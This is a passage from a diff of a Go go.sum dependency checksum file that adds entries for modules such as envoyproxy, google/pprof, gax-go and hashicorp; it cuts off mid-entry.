h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -82,13 +677,16 @@ github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPqu github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -103,16 +701,33 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= +github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= +github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= +github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= github.com/envoyproxy/protoc-gen-validate v0.10.0 h1:oIfnZFdC0YhpNNEX+SuIqko4cqqVZeN9IGTrhZje83Y= github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= +github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= @@ -123,31 +738,45 @@ github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeME github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= +github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= +github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= +github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= +github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= +github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= +github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -155,6 +784,9 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -170,12 +802,16 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -183,12 +819,21 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -196,6 +841,13 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -203,8 +855,23 @@ github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+ github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= +github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= +github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= +github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= +github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= +github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= +github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= +github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= +github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -216,16 +883,47 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0 h1:YBftPWNWd4WwGqtY2yeZL2ef8rHAxPBD8KFhJpmcqms= github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0/go.mod h1:YN5jB8ie0yfIUg6VvR9Kz84aCaG7AsGZnLjhHbUqwPg= +github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= +github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.2.0/go.mod 